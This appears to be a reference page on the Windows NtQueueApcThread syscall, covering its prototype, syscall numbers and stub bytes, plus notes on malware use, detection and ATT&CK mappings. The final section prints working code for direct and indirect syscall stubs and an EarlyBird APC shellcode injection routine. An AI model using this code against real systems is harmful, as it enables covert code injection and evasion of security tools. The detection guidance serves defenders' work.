NtQueueApcThread
Queues a user-mode asynchronous procedure call (APC) to a target thread.
Prototype
NTSTATUS NtQueueApcThread( HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3 );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| ThreadHandle | HANDLE | in | Handle to the target thread with THREAD_SET_CONTEXT access. |
| ApcRoutine | PIO_APC_ROUTINE | in | User-mode address the thread will execute when it enters an alertable wait. |
| ApcArgument1 | PVOID | in | First argument passed to ApcRoutine. Often used as the payload pointer. |
| ApcArgument2 | PVOID | in | Second argument passed to ApcRoutine. |
| ApcArgument3 | PVOID | in | Third argument passed to ApcRoutine. |
Syscall IDs by Windows version
| Windows version | Syscall ID | Build |
|---|---|---|
| Win10 1507 | 0x45 | win10-1507 |
| Win10 1607 | 0x45 | win10-1607 |
| Win10 1703 | 0x45 | win10-1703 |
| Win10 1709 | 0x45 | win10-1709 |
| Win10 1803 | 0x45 | win10-1803 |
| Win10 1809 | 0x45 | win10-1809 |
| Win10 1903 | 0x45 | win10-1903 |
| Win10 1909 | 0x45 | win10-1909 |
| Win10 2004 | 0x45 | win10-2004 |
| Win10 20H2 | 0x45 | win10-20h2 |
| Win10 21H1 | 0x45 | win10-21h1 |
| Win10 21H2 | 0x45 | win10-21h2 |
| Win10 22H2 | 0x45 | win10-22h2 |
| Win11 21H2 | 0x45 | win11-21h2 |
| Win11 22H2 | 0x45 | win11-22h2 |
| Win11 23H2 | 0x45 | win11-23h2 |
| Win11 24H2 | 0x45 | win11-24h2 |
| Server 2016 | 0x45 | winserver-2016 |
| Server 2019 | 0x45 | winserver-2019 |
| Server 2022 | 0x45 | winserver-2022 |
| Server 2025 | 0x45 | winserver-2025 |
Kernel module
Related APIs
Syscall stub
4C 8B D1 mov r10, rcx B8 45 00 00 00 mov eax, 0x45 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undocumented notes
Queues a regular user APC on the target thread. SSN `0x45` is stable across every shipped Win10/11 build. A queued user APC only fires when the target thread enters an *alertable* wait (`SleepEx(... TRUE)`, `WaitForSingleObjectEx(... TRUE)`, `MsgWaitForMultipleObjectsEx`, GUI message-loop idles). If the thread never goes alertable, the APC sits in the queue forever — which is why `NtQueueApcThreadEx` with `QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC` (Win10 1809+) was introduced: it forces the APC to fire regardless. EarlyBird APC injection sidesteps the alertability requirement by targeting a freshly-created suspended thread that has not yet executed its first instruction.
Common malware usage
Two main flavours abuse this. (1) Classic remote APC injection: open a target thread, queue an APC pointing at `LoadLibraryA` or directly at shellcode in `ApcArgument1`, wait for it to fire. (2) EarlyBird: spawn a benign process suspended, queue the APC on the primary thread before any of the loader runs, resume — the APC fires when the loader hits its first alertable wait inside `ntdll!LdrpInitializeProcess`. Used by Lazarus (BISTROMATH), FIN7 / Carbanak, Finfisher, the original APCs+Atombombing combination, and Cobalt Strike's `AddressOfPage` BOFs.
Detection opportunities
There is no dedicated Sysmon event. ETW Threat Intelligence emits `EtwTiLogQueueApcThread` for user APCs queued cross-process — this is the primary kernel-side signal and what most EDRs consume. The `PsSetCreateThreadNotifyRoutine` callback fires only on thread creation, not APC queue, so EarlyBird is detected by the *combination* of `CreateProcess(SUSPENDED)` + `NtQueueApcThread` + `NtResumeThread` from a non-debugger parent. Stack-walk telemetry on APC delivery is the gold standard: if the return chain shows ntdll-only frames with a private-memory APC routine, that is high-confidence injection.
Direct syscall examples
asmx64 direct stub
; Direct syscall stub for NtQueueApcThread (SSN 0x45, stable across all Win10/11)
NtQueueApcThread PROC
mov r10, rcx ; syscall convention
mov eax, 45h ; SSN
syscall
ret
NtQueueApcThread ENDPcEarlyBird APC injection
// Spawn target suspended, write shellcode, queue APC, resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
SIZE_T size = shellcode_len;
PVOID remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);
// APC fires inside ntdll!LdrpInitializeProcess's first alertable wait.
NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);cHell's Gate dynamic lookup
// Resolve SSN dynamically; even though 0x45 is stable, indirect syscalls hide it.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQueueApcThread"));
set_ssn(ssn);
indirect_syscall_invoke(/* hThread, remote_shellcode, NULL, NULL, NULL */);MITRE ATT&CK mappings
- T1055.004Asynchronous Procedure Call
- T1055Process Injection
- T1106Native API
Last verified: 2026-05-20